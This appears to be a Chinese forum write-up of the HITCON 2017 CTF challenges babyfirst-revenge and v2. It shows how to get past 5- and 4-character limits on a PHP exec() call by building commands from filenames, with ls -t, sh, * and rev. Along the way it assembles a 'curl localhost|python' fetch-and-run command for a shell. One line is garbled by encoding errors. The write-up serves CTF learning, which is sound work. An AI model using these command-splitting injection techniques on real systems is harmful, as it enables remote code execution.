HITCON 2017 babyfirst-revenge[-v2]浅析

云卷云舒 / 2017-11-14 11:22:00 / 浏览数 3745 安全技术 CTF 顶(0) 踩(0)

0x01 babyfirst-revenge

源码:

```
<?php
   $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
   @mkdir($sandbox);
   @chdir($sandbox);
   if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
       @exec($_GET['cmd']);
   } else if (isset($_GET['reset'])) {
       @exec('/bin/rm -rf ' . $sandbox);
   }
   highlight_file(__FILE__);
```

从代码中可以看出需要绕过5个字符的限制来执行命令.
根据之前看到的小密圈的那些奇淫技巧,其中有关于如何绕过7个字符GetShell.
其中两个比较关键的点是:

1. 长度
2. 执行顺序

这里得先提到关于Linux的Trick:

1. 命令过长可以通过\进行换行续写
2. 文件种当前命令错误不影响之后命令的执行

由于题目是限制在5个字符,getshell的思路是分段写出`curl`命令,之后使用`ls -t`写入文件之中,再`sh`执行文件种的curl命令.
其中`curl`和`sh`命令都很好操作,关键在于怎么将`ls -t`的结果写入文件.
这就要利用上面提到的第二个Trick.

```
# ls -t>g
>-t\
>\>g
>l\
>s\ \
ls>c
ls>>c
```

通过上面的命令就能成功的将`ls -t>g`的命令写入文件`c`中.
先看在执行`ls>>c`之前的目录文件情况.

emm...这里有一个很奇怪的点,由于`ls`的命令结果默认是根据文件名进行排序的,而这里可以看出表现出来的并不正确,可是在c文件中的顺序却是正确(如果直接在命令行中执行
在执行`ls>>c`之后的情况如下.

可以从看出`ls -t>g`的命令已经写入进去了.这里其实还有一个是注意文件名,如果文件名出现在`-t\`、`>g`或`l\`、`s \`之间的,就不难发现会出现一个乱序的情况,这样就无法构成完整的命令.
接下来就是构造`curl`请求以及执行文件了.

```
# curl localhost|python
>on
>th\
>py\
>\|\
>st\
>ho\
>al\
>oc\
>l\
>\ \
>rl\
>cu\
```

之后sh c执行之后.查看g文件.

可以看出上面也组成了curl的完整命令.之后sh g执行命令.

成功GetShell.

0x02 babyfirst-revenge-v2

源码:

```
<?php
   $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
   @mkdir($sandbox);
   @chdir($sandbox);
   if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
       @exec($_GET['cmd']);
   } else if (isset($_GET['reset'])) {
       @exec('/bin/rm -rf ' . $sandbox);
   }
   highlight_file(__FILE__);
```

由于字符限制在了4个,所以不能再像之前那样通过分割字符来实现.原因是不管如何对ls -t>g这个命令进行何种切割,>\>\和>\
\是必然作为单独的部分,这样由于ls按照文件名进行排序,所以虽然可以呈现space\ -t\ >\ ? ls,但是ls>>?这个是没有办法实现的.
因此这里使用其它得方法，可以通过rev逆序之后解决.
其中ls -t>g这个命令不能逆序,由于t是比s大的，如果逆序s不会在t的前面,所以这里使用ls -th>g.

关于*命令:
* 相当于$(dir *),所以说如果文件名如果是命令的话就会返回执行的结果,之后的作为参数传入.

所以这样如果dir在最前面的话,就可以把当前目录的文件都返回.

```
>dir
>sl
>g\>
>ht-
```

之后将*的结果写入文件中,紧接着写入rev文件.

```
>*>v
>rev
```

最后执行rev v>u,这个命令需要通过*命令的其它形式实现.

```
*v>u
■■■■■■$(dir *v)>u,dir *v■■■■■■■■v■■■.
```

这个地方其实是一个很巧妙的方式,因为*v恰好是可以匹配到rev和v的,如果文件名换成其它字母会因为排序错误或者没有作为rev的参数而逆序失败.
之后的步骤就没有什么多大的区别了.

0x03

路漫漫呀....
欢迎有新思路的daolao交流...
官方exp-babyfirst-revenge
官方exp-babyfirst-revenge-v2

上一篇：一道CTF题：PHP文件包含 下一篇：【酸爽系列CTF】（一）拿到Fla...
1. 0 条回复
   - 动动手指，沙发就是你的了！

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板